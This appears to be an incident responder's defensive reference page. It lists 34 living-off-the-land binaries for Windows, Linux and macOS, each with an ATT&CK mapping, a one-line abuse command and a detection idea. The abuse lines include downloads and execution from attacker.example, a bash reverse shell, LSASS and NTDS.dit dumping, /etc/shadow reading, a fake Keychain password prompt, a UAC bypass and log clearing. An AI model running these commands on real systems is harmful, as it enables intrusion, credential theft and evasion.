Living-off-the-Land Binaries

34 curated entries from LOLBAS (Windows), GTFOBins (Unix), and LOOBins (macOS), each mapped to MITRE ATT&CK with a one-line abuse example and a detection idea.

A subset of the full catalogues — pick the entries I reach for during phishing / BEC / commodity-malware IRs. Use the upstream sources (linked on each card) for the complete coverage.

Platform

Category

Showing 34 of 34

mshta.exeLOLBASwindowsexecuteT1218.005 source

Run remote HTA / VBS / JS code

Abuse

mshta.exe https://attacker.example/payload.hta

Legitimate use

Microsoft HTML Application host — historically used for IE-era apps.

Detection

Alert on mshta.exe with a network arg or unusual parent (Office, browser, mail client).

rundll32.exeLOLBASwindowsexecuteT1218.011 source

Run JavaScript via rundll32

Abuse

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("calc.exe")

Legitimate use

Loads and runs DLL exports — used legitimately by every Windows component.

Detection

rundll32 with javascript:, .dll,EntryPoint where path is non-system, or no arg at all.

regsvr32.exeLOLBASwindowsexecuteT1218.010 source

"Squiblydoo" — register remote scriptlet, run code

Abuse

regsvr32 /s /u /n /i:https://attacker.example/file.sct scrobj.dll

Legitimate use

Registers / unregisters DLLs and OCXs for COM.

Detection

regsvr32 with /i: pointing to http(s):// or a non-system path, or scrobj.dll on cmdline.

MSBuild.exeLOLBASwindowsexecuteT1127.001 source

Inline-task / XML-payload build that compiles + runs C#

Abuse

MSBuild.exe payload.csproj

Legitimate use

Microsoft build engine; ships with Visual Studio and the .NET SDK.

Detection

MSBuild on a host without a dev profile, or run from %TEMP% / user profile paths.

InstallUtil.exeLOLBASwindowsexecuteT1218.004 source

Run .NET assembly via /U (uninstall) without admin

Abuse

InstallUtil.exe /logfile= /LogToConsole=false /U payload.exe

Legitimate use

Installs / uninstalls .NET assemblies as Windows services.

Detection

InstallUtil with /U + a non-system .exe path, often under %TEMP%.

wmic.exeLOLBASwindowslateral-movementT1047 source

Remote process creation via WMI

Abuse

wmic /node:"target.example" process call create "cmd /c whoami > c:\out.txt"

Legitimate use

WMI command-line; deprecated but still present on most Windows installs.

Detection

wmic with /node: and process call create — monitor 4688 (auditpol on subjects of WMI) and Sysmon EID 1.

certutil.exeLOLBASwindowsdownloadT1105 source

Download arbitrary file (legacy "url cache" trick)

Abuse

certutil.exe -urlcache -split -f https://attacker.example/payload.exe payload.exe

Legitimate use

Certificate management.

Detection

certutil with -urlcache / -decode / -urlcache -f anywhere outside enterprise PKI workflows.

bitsadmin.exeLOLBASwindowsdownloadT1197 source

Background-Intelligent-Transfer-Service download with auto-resume

Abuse

bitsadmin /transfer job /priority high https://attacker.example/x.exe %TEMP%\x.exe

Legitimate use

Windows Update, SCCM and other deferred-bandwidth services.

Detection

bitsadmin /transfer or /create from non-system parents, or to non-corporate URLs.

powershell.exeLOLBASwindowsexecuteT1059.001 source

Download + execute via IEX

Abuse

powershell.exe -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('https://attacker.example/p.ps1')"

Legitimate use

Admin scripting and Configuration as Code.

Detection

PS with -nop / -enc / -w hidden, or AMSI.ScanContent failures (Defender Event 1116).

cmstp.exeLOLBASwindowsexecuteT1218.003 source

Microsoft Connection Manager INF abuse

Abuse

cmstp.exe /au /s c:\public\evil.inf

Legitimate use

Installer for Connection Manager service profiles (legacy VPN / RAS).

Detection

cmstp.exe spawning child processes, or .inf paths outside of %WINDIR%.

schtasks.exeLOLBASwindowspersistenceT1053.005 source

Create scheduled task at logon / on-boot

Abuse

schtasks /Create /SC ONLOGON /TN updater /TR "powershell -nop -f c:\users\public\u.ps1" /RL HIGHEST

Legitimate use

Windows scheduled-task management.

Detection

4698 (task created); flag where Task name is generic ("update", "checker") or path is %PUBLIC%/%TEMP%.

reg.exeLOLBASwindowspersistenceT1547.001 source

Add Run / RunOnce autostart

Abuse

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Updater /t REG_SZ /d "c:\users\public\u.exe" /f

Legitimate use

Registry edits.

Detection

Sysmon EID 12/13/14 on Run/RunOnce; flag values pointing at user-writable paths.

sc.exeLOLBASwindowspersistenceT1543.003 source

Create / modify a service for persistence

Abuse

sc create updater binPath= "cmd /c c:\users\public\u.exe" start= auto

Legitimate use

Service control.

Detection

7045 service install; check binPath for non-system locations and unsigned binaries.

ntdsutil.exeLOLBASwindowscredential-accessT1003.003 source

Dump NTDS.dit (domain hashes)

Abuse

ntdsutil "ac i ntds" "ifm" "create full c:\temp\ntds" q q

Legitimate use

Active Directory snapshot / IFM media creation — domain admin only.

Detection

ntdsutil running on a non-DC, or any host with arguments mentioning "ifm".

comsvcs.dllLOLBASwindowscredential-accessT1003.001 source

LSASS minidump via MiniDump export

Abuse

rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> c:\temp\lsass.dmp full

Legitimate use

COM+ services library; MiniDump export shipped for debugging.

Detection

rundll32 referencing comsvcs.dll + MiniDump on the cmdline; LSASS PID lookup with ProcessAccess.

attrib.exeLOLBASwindowsdefense-evasionT1564.001 source

Hide file with system / hidden attribute

Abuse

attrib +s +h c:\users\public\u.exe

Legitimate use

File-attribute editing.

Detection

attrib invocations that touch executables in user-writable paths.

fodhelper.exeLOLBASwindowspriv-escT1548.002 source

UAC bypass via auto-elevated registry hijack

Abuse

reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "c:\evil.exe" /f & fodhelper.exe

Legitimate use

Features-on-demand helper; auto-elevates without UAC prompt.

Detection

Sysmon registry write on HKCU\Software\Classes\ms-settings followed by fodhelper.exe execution.

wevtutil.exeLOLBASwindowsdefense-evasionT1070.001 source

Clear event log

Abuse

wevtutil cl Security

Legitimate use

Event-log query/clear; legitimate during forensics drills.

Detection

1102 (audit log cleared) and 104 (system log cleared).

nltest.exeLOLBASwindowsdiscoveryT1482 source

Enumerate domain trusts and DCs

Abuse

nltest /domain_trusts /all_trusts

Legitimate use

AD diagnostics.

Detection

nltest under user / interactive shells; correlate with later AS-REP / Kerberoasting traffic.

whoami.exeLOLBASwindowsdiscoveryT1033 source

Show current user / privileges / groups

Abuse

whoami /all

Legitimate use

Identity introspection.

Detection

Cluster of whoami / net user / nltest in <60s on a single host = recon burst.

curlGTFOBinslinuxmacosdownloadT1105 source

File download (and read SUID files when curl has caps)

Abuse

curl https://attacker.example/p.sh -o /tmp/p.sh && bash /tmp/p.sh

Legitimate use

Universal HTTP client.

Detection

curl from non-interactive shells, /tmp paths, or to fresh-NOD domains.

wgetGTFOBinslinuxdownloadT1105 source

Download + execute

Abuse

wget -qO- https://attacker.example/p.sh | bash

Legitimate use

HTTP retriever.

Detection

wget output piped to a shell; auditd execve where parent is wget.

findGTFOBinslinuxmacosexecuteT1059.004 source

Run arbitrary command via -exec

Abuse

find . -exec /bin/sh \; -quit

Legitimate use

Filesystem search.

Detection

auditd: find with -exec spawning a shell; rare in service accounts.

awkGTFOBinslinuxmacosexecuteT1059.004 source

Spawn shell from awk system()

Abuse

awk 'BEGIN {system("/bin/sh")}'

Legitimate use

Text processing.

Detection

auditd: awk producing a child shell; pair with TTY allocation events.

python3GTFOBinslinuxmacosexecuteT1059.006 source

pty.spawn shell upgrade

Abuse

python3 -c 'import pty; pty.spawn("/bin/bash")'

Legitimate use

Scripting.

Detection

python -c on a webserver / service account, or pty.spawn signature in cmdline.

bashGTFOBinslinuxmacosexecuteT1059.004 source

Reverse TCP shell via /dev/tcp

Abuse

bash -i >& /dev/tcp/attacker.example/4444 0>&1

Legitimate use

Default shell.

Detection

bash with /dev/tcp/ in cmdline; egress to non-corp IPs from non-egress hosts.

sudoeditGTFOBinslinuxpriv-escT1548.003 source

CVE-2023-22809 — env var EDITOR / VISUAL hijack

Abuse

EDITOR="vim -- /etc/shadow" sudoedit /etc/anything

Legitimate use

Sudo-managed file editing.

Detection

auditd: sudoedit with EDITOR / VISUAL containing "--" in env.

crontabGTFOBinslinuxmacospersistenceT1053.003 source

User crontab persistence

Abuse

(crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/.x") | crontab -

Legitimate use

Per-user scheduled tasks.

Detection

auditd watch on /var/spool/cron/* + EXECVE crontab from non-interactive sessions.

sshGTFOBinslinuxmacoslateral-movementT1021.004 source

Lateral movement using stolen private keys

Abuse

ssh -i ~/.ssh/id_rsa user@target.example "uname -a"

Legitimate use

Remote access.

Detection

ssh from service accounts; ssh outbound to non-corp ranges from production hosts.

tarGTFOBinslinuxmacosexecuteT1059.004 source

Run command via --checkpoint-action

Abuse

tar cf /tmp/x /tmp --checkpoint=1 --checkpoint-action=exec=/bin/sh

Legitimate use

Archiver.

Detection

--checkpoint-action=exec= in tar cmdline = anomaly.

osascriptLOOBinsmacoscredential-accessT1056.002 source

Prompt user for password via fake Keychain dialog

Abuse

osascript -e 'display dialog "Keychain wants to use the login keychain." default answer "" with hidden answer'

Legitimate use

AppleScript runner.

Detection

osascript with display dialog containing "password" or "keychain" — flag as user-input prompt.

launchctlLOOBinsmacospersistenceT1543.001 source

Persistence via Launch Agent / Daemon

Abuse

launchctl load -w ~/Library/LaunchAgents/com.attacker.sync.plist

Legitimate use

macOS launchd control.

Detection

New plist files in ~/Library/LaunchAgents or /Library/LaunchDaemons; FSEvents + telemetry.

securityLOOBinsmacoscredential-accessT1555.001 source

Dump Keychain entries from CLI

Abuse

security find-generic-password -s "AccountName" -w

Legitimate use

macOS keychain CLI.

Detection

security with find-* / dump-keychain by non-admin processes.

sudoLOOBinsmacospriv-escT1548.003 source

Cached sudo session abuse for silent escalation

Abuse

sudo -l; sudo -E /usr/bin/whoami # within timeout window

Legitimate use

Standard sudo.

Detection

auditd / OpenBSM: sudo invocations from background processes within sudo timestamp window.

Upstream catalogues

Living-off-the-Land Binaries

34 curated entries from LOLBAS (Windows), GTFOBins (Unix), and LOOBins (macOS), each mapped to MITRE ATT&CK with a one-line abuse example and a detection idea.

A subset of the full catalogues — pick the entries I reach for during phishing / BEC / commodity-malware IRs. Use the upstream sources (linked on each card) for the complete coverage.